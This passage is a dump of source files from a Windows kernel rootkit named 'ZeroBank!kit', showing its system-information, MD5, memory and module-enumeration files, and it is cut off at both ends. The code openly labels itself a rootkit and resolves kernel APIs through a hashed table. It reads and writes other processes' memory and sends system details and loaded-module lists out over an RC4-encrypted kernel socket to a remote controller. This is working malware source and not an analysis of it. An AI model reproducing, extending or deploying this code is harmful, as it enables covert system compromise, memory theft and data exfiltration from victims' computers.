33 | sysinfo.ActiveGroupCount = Hash->_KeQueryActiveGroupCount();
34 | sysinfo.ActiveProcessors = Hash->_KeQueryActiveProcessors();
35 | sysinfo.ActiveProcessorsCount = Hash->_KeQueryActiveProcessorCount(&sysinfo.ActiveProcessors);
36 | sysinfo.InterruptTime = Hash->_KeQueryInterruptTime();
37 | sysinfo.MaximunProcessorCount = Hash->_KeQueryMaximumProcessorCount();
38 |
39 |
40 | sendsize = tdi_send_crypted(SocketObject, RC4_KEY_2, (PROOTKIT_SYS_INFORMATION)&sysinfo, sizeof(ROOTKIT_SYS_INFORMATION), 0);
41 | if (sendsize > 0)
42 | KdPrint(("\r\n[*] kit sys info sent"));
43 | else
44 | KdPrint(("\r\n[!] Error sending kit sys info"));
45 |
46 | return st;
47 | }
--------------------------------------------------------------------------------
/ZeroBank!kit/info.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 |
4 | typedef struct _ROOTKIT_SYS_INFORMATION
5 | {
6 | // SYS CONFIGURATION MANAGER
7 |
8 | unsigned long NumberOfDisks;
9 | unsigned long NumberOfFloppies;
10 | unsigned long NumberOfCdRoms;
11 | unsigned long NumberOfSerialPorts;
12 | unsigned long NumberOfParallelPorts;
13 | unsigned long TapeDrivesCount;
14 | unsigned long ScsiCount;
15 |
16 | unsigned short ActiveGroupCount;
17 | KAFFINITY ActiveProcessors;
18 | unsigned long ActiveProcessorsCount;
19 | unsigned long long InterruptTime;
20 | unsigned long MaximunProcessorCount;
21 |
22 | }ROOTKIT_SYS_INFORMATION, *PROOTKIT_SYS_INFORMATION;
23 |
24 |
25 | NTSTATUS rk_send_sys_information_to_userspace(IN PFILE_OBJECT SocketObject, IN PROOTKIT_API_HASH Hash);
--------------------------------------------------------------------------------
/ZeroBank!kit/md5.c:
--------------------------------------------------------------------------------
1 | #include "common.h"
2 |
3 | /*
4 | File: Md5.c
5 |
6 | MD5 Support routines
7 |
8 | */
9 |
10 | void MD5Init(MD5Context *ctx)
11 | {
12 | ctx->buf[0] = 0x67452301;
13 | ctx->buf[1] = 0xefcdab89;
14 | ctx->buf[2] = 0x98badcfe;
15 | ctx->buf[3] = 0x10325476;
16 |
17 | ctx->bits[0] = 0;
18 | ctx->bits[1] = 0;
19 | }
20 |
21 | void MD5Update(MD5Context *ctx, unsigned char const *buf, UINT32 len)
22 | {
23 | UINT32 t;
24 |
25 | /* Update bitcount */
26 |
27 | t = ctx->bits[0];
28 | if ((ctx->bits[0] = (t + ((UINT32)len << 3)) & 0xffffffff) < t)
29 | ctx->bits[1]++; /* Carry from low to high */
30 | ctx->bits[1] += len >> 29;
31 |
32 | t = (t >> 3) & 0x3f; /* Bytes already in shsInfo->data */
33 |
34 | /* Handle any leading odd-sized chunks */
35 |
36 | if (t) {
37 | unsigned char *p = ctx->in + t;
38 |
39 | t = 64 - t;
40 | if (len < t) {
41 | kimemcpy(p, buf, len);
42 | return;
43 | }
44 | kimemcpy(p, buf, t);
45 | MD5Transform(ctx->buf, ctx->in);
46 | buf += t;
47 | len -= t;
48 | }
49 | /* Process data in 64-byte chunks */
50 |
51 | while (len >= 64) {
52 | kimemcpy(ctx->in, buf, 64);
53 | MD5Transform(ctx->buf, ctx->in);
54 | buf += 64;
55 | len -= 64;
56 | }
57 |
58 | /* Handle any remaining bytes of data. */
59 |
60 | kimemcpy(ctx->in, buf, len);
61 | }
62 |
63 | void MD5Final(unsigned char digest[16], MD5Context *ctx)
64 | {
65 | unsigned count;
66 | unsigned char *p;
67 |
68 | /* Compute number of bytes mod 64 */
69 | count = (ctx->bits[0] >> 3) & 0x3F;
70 |
71 | /* Set the first char of padding to 0x80. This is safe since there is
72 | always at least one byte free */
73 | p = ctx->in + count;
74 | *p++ = 0x80;
75 |
76 | /* Bytes of padding needed to make 64 bytes */
77 | count = 64 - 1 - count;
78 |
79 | /* Pad out to 56 mod 64 */
80 | if (count < 8) {
81 | /* Two lots of padding: Pad the first block to 64 bytes */
82 | memset(p, 0, count);
83 | MD5Transform(ctx->buf, ctx->in);
84 |
85 | /* Now fill the next block with 56 bytes */
86 | memset(ctx->in, 0, 56);
87 | }
88 | else {
89 | /* Pad block to 56 bytes */
90 | memset(p, 0, count - 8);
91 | }
92 |
93 | /* Append length in bits and transform */
94 | PUT_32BIT_LSB_FIRST(ctx->in + 56, ctx->bits[0]);
95 | PUT_32BIT_LSB_FIRST(ctx->in + 60, ctx->bits[1]);
96 |
97 | MD5Transform(ctx->buf, ctx->in);
98 | PUT_32BIT_LSB_FIRST(digest, ctx->buf[0]);
99 | PUT_32BIT_LSB_FIRST(digest + 4, ctx->buf[1]);
100 | PUT_32BIT_LSB_FIRST(digest + 8, ctx->buf[2]);
101 | PUT_32BIT_LSB_FIRST(digest + 12, ctx->buf[3]);
102 | memset(ctx, 0, sizeof(ctx)); /* In case it's sensitive */
103 | }
104 |
105 | void MD5Transform(UINT32 buf[4], const unsigned char inext[64])
106 | {
107 | register unsigned short a, b, c, d, i;
108 | unsigned short in[16];
109 |
110 | for (i = 0; i < 16; i++)
111 | in[i] = GET_32BIT_LSB_FIRST(inext + 4 * i);
112 |
113 | a = buf[0];
114 | b = buf[1];
115 | c = buf[2];
116 | d = buf[3];
117 |
118 | MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7);
119 | MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12);
120 | MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17);
121 | MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22);
122 | MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7);
123 | MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12);
124 | MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17);
125 | MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22);
126 | MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7);
127 | MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12);
128 | MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17);
129 | MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22);
130 | MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7);
131 | MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12);
132 | MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17);
133 | MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22);
134 |
135 | MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5);
136 | MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9);
137 | MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14);
138 | MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20);
139 | MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5);
140 | MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9);
141 | MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14);
142 | MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20);
143 | MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5);
144 | MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9);
145 | MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14);
146 | MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20);
147 | MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5);
148 | MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9);
149 | MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14);
150 | MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20);
151 |
152 | MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4);
153 | MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11);
154 | MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16);
155 | MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23);
156 | MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4);
157 | MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11);
158 | MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16);
159 | MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23);
160 | MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4);
161 | MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11);
162 | MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16);
163 | MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23);
164 | MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4);
165 | MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11);
166 | MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16);
167 | MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23);
168 |
169 | MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6);
170 | MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10);
171 | MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15);
172 | MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21);
173 | MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6);
174 | MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10);
175 | MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15);
176 | MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21);
177 | MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6);
178 | MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10);
179 | MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15);
180 | MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21);
181 | MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6);
182 | MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10);
183 | MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15);
184 | MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21);
185 |
186 | buf[0] += a;
187 | buf[1] += b;
188 | buf[2] += c;
189 | buf[3] += d;
190 | }
--------------------------------------------------------------------------------
/ZeroBank!kit/md5.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #define GET_32BIT_LSB_FIRST(cp) (((UINT32)(unsigned char)(cp)[0]) | \
4 | ((UINT32)(unsigned char)(cp)[1] << 8 ) | \
5 | ((UINT32)(unsigned char)(cp)[2] << 16) | \
6 | ((UINT32)(unsigned char)(cp)[3] << 24))
7 |
8 | #define PUT_32BIT_LSB_FIRST(cp, value) do { \
9 | (cp)[0] = (value) & 0xFF; \
10 | (cp)[1] = ((value) >> 8) & 0xFF; \
11 | (cp)[2] = ((value) >> 16) & 0xFF; \
12 | (cp)[3] = ((value) >> 24) & 0xFF; \
13 | } while(0)
14 |
15 | #define F1(x, y, z) (z ^ (x & (y ^ z)))
16 | #define F2(x, y, z) F1(z, x, y)
17 | #define F3(x, y, z) (x ^ y ^ z)
18 | #define F4(x, y, z) (y ^ (x | ~z))
19 | #define MD5STEP(f, w, x, y, z, data, s) ( w += f(x, y, z) + data, w = w<>(32-s), w += x )
20 |
21 | typedef struct _MD5Context
22 | {
23 | UINT32 buf[4];
24 | UINT32 bits[2];
25 | unsigned char in[64];
26 | } MD5Context;
27 |
28 | void MD5Init(MD5Context *ctx);
29 | void MD5Update(MD5Context *ctx, unsigned char const *buf, UINT32 len);
30 | void MD5Final(unsigned char digest[16],MD5Context *ctx);
31 | void MD5Transform(UINT32 buf[4], const unsigned char inext[64]);
--------------------------------------------------------------------------------
/ZeroBank!kit/mem.c:
--------------------------------------------------------------------------------
1 | #include "common.h"
2 |
3 | /*////////////////////////////////////////////////
4 | // File: mem.c
5 | //
6 | // Implementation of memory support routines
7 | //
8 | */////////////////////////////////////////////////
9 |
10 | ULONG __stdcall KiExceptionInfo(IN PEXCEPTION_POINTERS ExceptionPointers,
11 | IN OUT PLOGICAL ExceptionAddressConfirmed,
12 | IN OUT PULONG_PTR BadVa)
13 | {
14 | PEXCEPTION_RECORD ExceptionRecord;
15 |
16 | *ExceptionAddressConfirmed = FALSE;
17 |
18 | ExceptionRecord = ExceptionPointers->ExceptionRecord;
19 |
20 | if ((ExceptionRecord->ExceptionCode == STATUS_ACCESS_VIOLATION) ||
21 | (ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) ||
22 | (ExceptionRecord->ExceptionCode == STATUS_IN_PAGE_ERROR))
23 | {
24 | if (ExceptionRecord->NumberParameters > 1)
25 | {
26 | *ExceptionAddressConfirmed = TRUE;
27 | *BadVa = ExceptionRecord->ExceptionInformation[1];
28 | }
29 | }
30 | return EXCEPTION_EXECUTE_HANDLER;
31 | }
32 |
33 | NTSTATUS __stdcall KiCopyVirtualMemory(IN PEPROCESS Process1,
34 | IN PVOID Buffer1,
35 | IN PEPROCESS Process2,
36 | OUT PVOID Buffer2,
37 | IN SIZE_T BufferLength,
38 | IN KPROCESSOR_MODE Mode,
39 | OUT PSIZE_T ReturnSize)
40 | {
41 | NTSTATUS st;
42 | PEPROCESS Process = Process1;
43 |
44 | if (!BufferLength)
45 | return STATUS_INFO_LENGTH_MISMATCH;
46 |
47 | if (Process1 == g_Hash._IoGetCurrentProcess())
48 | Process = Process2;
49 |
50 | // Lock the process so we can proceed with the mem copy procedure
51 |
52 | if (!g_Hash._ExAcquireRundownProtection((ULONG_PTR)Process + g_rootkit_dynamic_data.RundownProtect_Offset))
53 | return STATUS_PROCESS_IS_TERMINATING;
54 |
55 | if (BufferLength > MI_POOL_COPY_BYTES)
56 | {
57 | st = MiDoMappedCopy(Process1, Buffer1, Process2, Buffer2, BufferLength, Mode, ReturnSize);
58 | }
59 | else
60 | {
61 | st = MiDoPoolCopy(Process1, Buffer1, Process2, Buffer2, BufferLength, Mode, ReturnSize);
62 | }
63 |
64 | // Unlock the process
65 |
66 | g_Hash._ExReleaseRundownProtection((ULONG_PTR)Process + g_rootkit_dynamic_data.RundownProtect_Offset);
67 |
68 | return st;
69 |
70 | }
71 |
72 | NTSTATUS __stdcall MiDoPoolCopy(IN PEPROCESS Process1,
73 | IN PVOID Buffer1,
74 | IN PEPROCESS Process2,
75 | OUT PVOID Buffer2,
76 | IN SIZE_T BufferLength,
77 | IN KPROCESSOR_MODE Mode,
78 | OUT PSIZE_T ReturnSize)
79 | {
80 | return STATUS_NOT_SUPPORTED;
81 | }
82 |
83 |
84 | NTSTATUS __stdcall MiDoMappedCopy(IN PEPROCESS Process1,
85 | IN PVOID Buffer1,
86 | IN PEPROCESS Process2,
87 | OUT PVOID Buffer2,
88 | IN SIZE_T BufferLength,
89 | IN KPROCESSOR_MODE Mode,
90 | OUT PSIZE_T ReturnSize)
91 | {
92 | ULONG MdlBuffer[(sizeof(MDL) / sizeof(ULONG)) + MI_MAPPED_COPY_PAGES + 1];
93 | PMDL Mdl = (PMDL)MdlBuffer;
94 | SIZE_T TotalSize = 0;
95 | SIZE_T CurrentSize = 0;
96 | SIZE_T RemainSize = 0;
97 | volatile BOOLEAN FailProbe = FALSE;
98 | volatile BOOLEAN PagesLocked = FALSE;
99 | PVOID Address1 = Buffer1;
100 | PVOID Address2 = Buffer2;
101 | volatile PVOID MdlAddress = NULL;
102 | KAPC_STATE ApcState;
103 | BOOLEAN ErrorAddress;
104 | ULONG_PTR BaseAddress;
105 | NTSTATUS st = STATUS_SUCCESS;
106 |
107 | TotalSize = MI_MAPPED_COPY_PAGES*PAGE_SIZE;
108 | if (BufferLength <= TotalSize)
109 | TotalSize = BufferLength;
110 |
111 | CurrentSize = TotalSize;
112 | RemainSize = BufferLength;
113 |
114 | while (RemainSize > 0)
115 | {
116 | if (RemainSize < CurrentSize)
117 | CurrentSize = RemainSize;
118 |
119 | g_Hash._KeStackAttachProcess((ULONG_PTR)Process1 + g_rootkit_dynamic_data.Pcb, &ApcState);
120 |
121 | __try
122 | {
123 | if ((Address1 == Buffer1) && (Mode != KernelMode))
124 | {
125 | FailProbe = TRUE;
126 |
127 | MmSecureVirtualMemory(Buffer1, BufferLength, PAGE_READONLY);
128 |
129 | FailProbe = FALSE;
130 | }
131 |
132 | MmInitializeMdl(Mdl, Address1, CurrentSize);
133 | g_Hash._MmProbeAndLockPages(Mdl, Mode, IoReadAccess);
134 | PagesLocked = TRUE;
135 |
136 | }
137 | __except (EXCEPTION_EXECUTE_HANDLER)
138 | {
139 | st = GetExceptionCode();
140 | }
141 |
142 | g_Hash._KeUnstackDetachProcess(&ApcState);
143 |
144 | if (st != STATUS_SUCCESS)
145 | goto exit;
146 |
147 | MdlAddress = g_Hash._MmMapLockedPagesSpecifyCache(Mdl, KernelMode, MmCached, NULL, FALSE, HighPagePriority);
148 | if (MdlAddress == NULL)
149 | {
150 | return STATUS_INSUFFICIENT_RESOURCES;
151 | goto exit;
152 | }
153 |
154 | g_Hash._KeStackAttachProcess((ULONG_PTR)Process2 + g_rootkit_dynamic_data.Pcb, &ApcState);
155 |
156 | __try
157 | {
158 | if ((Address2 == Buffer2) && (Mode != KernelMode))
159 | {
160 | FailProbe = TRUE;
161 |
162 | MmSecureVirtualMemory(Buffer2, BufferLength, PAGE_READWRITE);
163 |
164 | FailProbe = FALSE;
165 | }
166 |
167 | // do the actual copy
168 |
169 | kimemcpy(Address2, MdlAddress, CurrentSize);
170 |
171 | }
172 | __except (KiExceptionInfo(GetExceptionInformation(), &ErrorAddress, &BaseAddress))
173 | {
174 |
175 | *ReturnSize = BufferLength - RemainSize;
176 |
177 | if (FailProbe)
178 | {
179 | st = GetExceptionCode();
180 | }
181 | else
182 | {
183 | if (ErrorAddress)
184 | {
185 | *ReturnSize = BaseAddress - (ULONG_PTR)Buffer1;
186 | }
187 |
188 | st = STATUS_PARTIAL_COPY;
189 | }
190 | }
191 |
192 | g_Hash._KeUnstackDetachProcess(&ApcState);
193 |
194 | if (st != STATUS_SUCCESS)
195 | goto exit;
196 |
197 | g_Hash._MmUnmapLockedPages(MdlAddress, Mdl);
198 | MdlAddress = NULL;
199 | g_Hash._MmUnlockPages(Mdl);
200 | PagesLocked = FALSE;
201 |
202 | RemainSize -= CurrentSize;
203 | Address1 = (PVOID)((ULONG_PTR)Address1 + CurrentSize);
204 | Address2 = (PVOID)((ULONG_PTR)Address2 + CurrentSize);
205 | }
206 |
207 | exit:
208 | if (MdlAddress != NULL)
209 | g_Hash._MmUnmapLockedPages(MdlAddress, NULL);
210 | if (PagesLocked)
211 | g_Hash._MmUnlockPages(Mdl);
212 |
213 | if (st == STATUS_SUCCESS)
214 | *ReturnSize = BufferLength;
215 |
216 | return st;
217 |
218 | }
219 |
220 | PVOID __stdcall KiAllocateMappedVirtualMemory(IN ULONG Size, IN ULONG PoolTag, OUT PMDL *MdlAddress, IN PROOTKIT_API_HASH Hash)
221 | {
222 | PMDL Mdl = NULL;
223 | PVOID Buffer = NULL;
224 | PVOID MappedBuffer = NULL;
225 | PHYSICAL_ADDRESS low, high, skip;
226 |
227 | Buffer = Hash->_MmAllocateMappingAddress((SIZE_T)Size, PoolTag);
228 | if (Buffer == NULL)
229 | {
230 | Hash->_MmFreeMappingAddress(Buffer, PoolTag);
231 | return NULL;
232 | }
233 |
234 | low.QuadPart = 0;
235 | high.QuadPart = 0xFFFFFFFFFFFFFFFF;
236 | skip.QuadPart = PAGE_SIZE;
237 |
238 | Mdl =Hash->_MmAllocatePagesForMdlEx(low, high, skip, Size, MmCached, MM_ALLOCATE_FULLY_REQUIRED);
239 | if (Mdl == NULL)
240 | {
241 | Hash->_MmFreePagesFromMdl(Mdl);
242 | return NULL;
243 | }
244 |
245 |
246 | MappedBuffer =Hash->_MmMapLockedPagesWithReservedMapping(Buffer, PoolTag, Mdl, MmCached);
247 | if (MappedBuffer == NULL)
248 | {
249 | Hash->_MmUnmapReservedMapping(MappedBuffer, PoolTag, Mdl);
250 | return NULL;
251 | }
252 |
253 | *MdlAddress = Mdl;
254 |
255 | return MappedBuffer;
256 |
257 | }
258 |
259 | VOID __stdcall KiFreeMappedVirtualMemory(IN PVOID MappedVirtualMemory, IN ULONG PoolTag, IN PMDL Address, IN PROOTKIT_API_HASH Hash)
260 | {
261 | Hash->_MmUnmapReservedMapping(MappedVirtualMemory,
262 | PoolTag,
263 | Address);
264 |
265 | Hash->_MmFreePagesFromMdl(Address);
266 |
267 | Hash->_MmFreeMappingAddress(MappedVirtualMemory,
268 | PoolTag);
269 | }
--------------------------------------------------------------------------------
/ZeroBank!kit/mem.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 |
4 | #define MI_POOL_COPY_BYTES 512
5 | #define MI_MAPPED_COPY_PAGES 14
6 |
7 | ULONG __stdcall KiExceptionInfo(IN PEXCEPTION_POINTERS ExceptionPointers,
8 | IN OUT PLOGICAL ExceptionAddressConfirmed,
9 | IN OUT PULONG_PTR BadVa);
10 |
11 | NTSTATUS __stdcall KiCopyVirtualMemory(IN PEPROCESS Process1,
12 | IN PVOID Buffer1,
13 | IN PEPROCESS Process2,
14 | OUT PVOID Buffer2,
15 | IN SIZE_T BufferLength,
16 | IN KPROCESSOR_MODE Mode,
17 | OUT PSIZE_T ReturnSize);
18 |
19 | NTSTATUS __stdcall MiDoPoolCopy(IN PEPROCESS Process1,
20 | IN PVOID Buffer1,
21 | IN PEPROCESS Process2,
22 | OUT PVOID Buffer2,
23 | IN SIZE_T BufferLength,
24 | IN KPROCESSOR_MODE Mode,
25 | OUT PSIZE_T ReturnSize);
26 |
27 | NTSTATUS __stdcall MiDoMappedCopy(IN PEPROCESS Process1,
28 | IN PVOID Buffer1,
29 | IN PEPROCESS Process2,
30 | OUT PVOID Buffer2,
31 | IN SIZE_T BufferLength,
32 | IN KPROCESSOR_MODE Mode,
33 | OUT PSIZE_T ReturnSize);
34 |
35 | PVOID __stdcall KiAllocateMappedVirtualMemory(IN ULONG Size,
36 | IN ULONG PoolTag,
37 | OUT PMDL *MdlAddress,
38 | IN PROOTKIT_API_HASH Hash);
39 |
40 | VOID __stdcall KiFreeMappedVirtualMemory(IN PVOID MappedVirtualMemory,
41 | IN ULONG PoolTag,
42 | IN PMDL Address,
43 | IN PROOTKIT_API_HASH Hash);
44 |
--------------------------------------------------------------------------------
/ZeroBank!kit/modules.c:
--------------------------------------------------------------------------------
1 | #include "common.h"
2 |
3 | PROOTKIT_MODULES_LIST_HEAD kernel_get_modules(IN PROOTKIT_API_HASH Hash)
4 | {
5 | NTSTATUS st;
6 | ULONG bytes = 0;
7 | PROOTKIT_MODULES_ENTRY entrybuffer = NULL;
8 | PRTL_PROCESS_MODULES modules = NULL;
9 | PLDR_DATA_TABLE_ENTRY pDataTable = NULL;
10 | PLDR_DATA_TABLE_ENTRY Buffer = NULL;
11 | PLIST_ENTRY List = NULL;
12 |
13 |
14 | g_modules_head = (PROOTKIT_MODULES_LIST_HEAD)Hash->_ExAllocatePool(NonPagedPool, sizeof(ROOTKIT_MODULES_LIST_HEAD));
15 | if (g_modules_head == NULL)
16 | st = STATUS_NO_MEMORY;
17 |
18 | InitializeListHead(&g_modules_head->Entry);
19 | g_modules_head->NumberOfEntries = 0;
20 |
21 | // call function first time to get correct amount of bytes for allocation
22 |
23 | st = Hash->_ZwQuerySystemInformation(SystemModuleInformation, NULL, 0, &bytes);
24 | if (st == STATUS_INFO_LENGTH_MISMATCH)
25 | {
26 | // allocate mem
27 |
28 | Buffer = Hash->_ExAllocatePool(NonPagedPool, bytes);
29 | if (Buffer)
30 | {
31 | // now call again with all parameters
32 |
33 | st = Hash->_ZwQuerySystemInformation(SystemModuleInformation, Buffer, bytes, 0);
34 | if (NT_SUCCESS(st))
35 | {
36 |
37 | // fill the structure with previous allocated memory
38 | // check if the memory address is valid
39 |
40 | modules = (PRTL_PROCESS_MODULES)Buffer;
41 | if (modules && Hash->_MmIsAddressValid(modules) == TRUE)
42 | {
43 | // loop through all the loaded modules and
44 | // copy the contents to own List-Entry
45 |
46 | for (ULONG i = 0; i < modules->NumberOfModules; i++)
47 | {
48 | entrybuffer = (PROOTKIT_MODULES_ENTRY)Hash->_ExAllocatePool(NonPagedPool, sizeof(ROOTKIT_MODULES_ENTRY));
49 | memset(entrybuffer, 0, sizeof(ROOTKIT_MODULES_ENTRY));
50 |
51 |
52 | kistrcpy(entrybuffer->ModuleName, modules->Modules[i].FullPathName + modules->Modules[i].OffsetToFileName);
53 | kistrcpy(entrybuffer->ModulePath, modules->Modules[i].FullPathName);
54 | entrybuffer->ImageBase = modules->Modules[i].ImageBase;
55 | entrybuffer->ImageSize = modules->Modules[i].ImageSize;
56 | entrybuffer->LoadOrderIndex = (ULONG)modules->Modules[i].LoadOrderIndex;
57 |
58 | // make sure to introduce Spin lock for synchronization access
59 | // to our List and release it afterwards, since locks need to be
60 | // implemented as quick as possible
61 |
62 | Hash->_KfAcquireSpinLock(&g_globalspinlock);
63 | InsertTailList(&g_modules_head->Entry, &entrybuffer->Entry);
64 | Hash->_KfReleaseSpinLock(&g_globalspinlock, Irql);
65 |
66 | g_modules_head->NumberOfEntries++;
67 |
68 | }
69 | }
70 | }
71 |
72 | // free memory
73 |
74 | Hash->_ExFreePoolWithTag(Buffer,0);
75 | }
76 | }
77 |
78 |
79 | // return the amount of modules of List-Entry
80 |
81 | return g_modules_head;
82 | }
83 |
84 | ULONG rk_copy_modules_list_to_buffer(IN PROOTKIT_MODULES_ENTRY Buffer, IN PROOTKIT_API_HASH Hash)
85 | {
86 | ULONG returnedlength = 0;
87 | PROOTKIT_MODULES_ENTRY modbuffer = NULL;
88 | SIZE_T ByteCheck = 0;
89 |
90 | if (g_modules_head == NULL)
91 | return 0;
92 |
93 | Hash->_KfAcquireSpinLock(&g_globalspinlock);
94 |
95 | while (!IsListEmpty(&g_modules_head->Entry))
96 | {
97 | modbuffer = (PROOTKIT_MODULES_ENTRY)RemoveTailList(&g_modules_head->Entry);
98 | kimemcpy(Buffer, modbuffer, sizeof(ROOTKIT_MODULES_ENTRY));
99 | Hash->_ExFreePoolWithTag(modbuffer,0);
100 | Buffer++;
101 | returnedlength++;
102 | }
103 |
104 | Hash->_KfReleaseSpinLock(&g_globalspinlock, Irql);
105 |
106 | Hash->_ExFreePoolWithTag(g_modules_head,0);
107 | g_modules_head = NULL;
108 |
109 | return returnedlength * sizeof(ROOTKIT_MODULES_ENTRY);
110 | }
111 |
112 | BOOLEAN rk_send_modules_to_userspace(IN PFILE_OBJECT SocketObject, IN PROOTKIT_API_HASH Hash)
113 | {
114 | ULONG bytes = 0;
115 | ULONG returnedbytes = 0;
116 | INT sendsize = 0;
117 | PROOTKIT_MODULES_LIST_HEAD moduleshead = NULL;
118 | PVOID Buffer = NULL;
119 | PROOTKIT_MODULES_ENTRY Entry = NULL;
120 | NTSTATUS st;
121 | BOOLEAN g_cond = FALSE;
122 | PMDL Mdl = NULL;
123 |
124 | moduleshead = kernel_get_modules(Hash);
125 | bytes = moduleshead->NumberOfEntries*sizeof(ROOTKIT_MODULES_ENTRY);
126 | do
127 | {
128 | sendsize = send(SocketObject, (char*)&bytes, sizeof(ULONG));
129 | if (sendsize > 0)
130 | {
131 | Buffer = KiAllocateMappedVirtualMemory(bytes, 'kbot', &Mdl, Hash);
132 | if (Buffer && Hash->_MmIsAddressValid(Buffer) && KiIsMdlAdddressValid(Mdl,Hash) == TRUE)
133 | {
134 | Entry = (PROOTKIT_MODULES_ENTRY)Buffer;
135 | if (Entry && Hash->_MmIsAddressValid(Entry))
136 | {
137 | returnedbytes = rk_copy_modules_list_to_buffer(Entry, Hash);
138 | if (returnedbytes > 0)
139 | {
140 | sendsize = tdi_send_crypted(SocketObject, RC4_KEY_2, (PROOTKIT_MODULES_ENTRY)Entry, returnedbytes, 0);
141 | if (sendsize > 0)
142 | {
143 | g_cond = TRUE;
144 | goto clean;
145 | }
146 | }
147 | }
148 | }
149 | }
150 |
151 | } while (FALSE);
152 |
153 | // cleanup
154 |
155 | clean:
156 | KiFreeMappedVirtualMemory(Buffer, 'kbot', Mdl, Hash);
157 | Buffer = NULL;
158 |
159 | return g_cond;
160 | }
--------------------------------------------------------------------------------
/ZeroBank!kit/modules.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | typedef struct _RTL_PROCESS_MODULE_INFORMATION {
4 | HANDLE Section;
5 | PVOID MappedBase;
6 | PVOID ImageBase;
7 | ULONG ImageSize;
8 | ULONG Flags;
9 | USHORT LoadOrderIndex;
10 | USHORT InitOrderIndex;
11 | USHORT LoadCount;
12 | USHORT OffsetToFileName;
13 | UCHAR FullPathName[256];
14 | } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
15 |
16 | typedef struct _RTL_PROCESS_MODULES {
17 | ULONG NumberOfModules;
18 | RTL_PROCESS_MODULE_INFORMATION Modules[1];
19 | } RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
20 |
21 |
22 | typedef struct _ROOTKIT_MODULES_ENTRY {
23 | #ifndef _WIN64
24 | LIST_ENTRY Entry;
25 | #else
26 | LIST_ENTRY64 Entry;
27 | #endif
28 | CHAR ModulePath[260];
29 | CHAR ModuleName[260];
30 | PVOID ImageBase;
31 | ULONG ImageSize;
32 | ULONG LoadOrderIndex;
33 | }ROOTKIT_MODULES_ENTRY, *PROOTKIT_MODULES_ENTRY;
34 |
35 | typedef struct _ROOTKIT_MODULES_LIST_HEAD {
36 | #ifndef _WIN64
37 | LIST_ENTRY Entry;
38 | #else
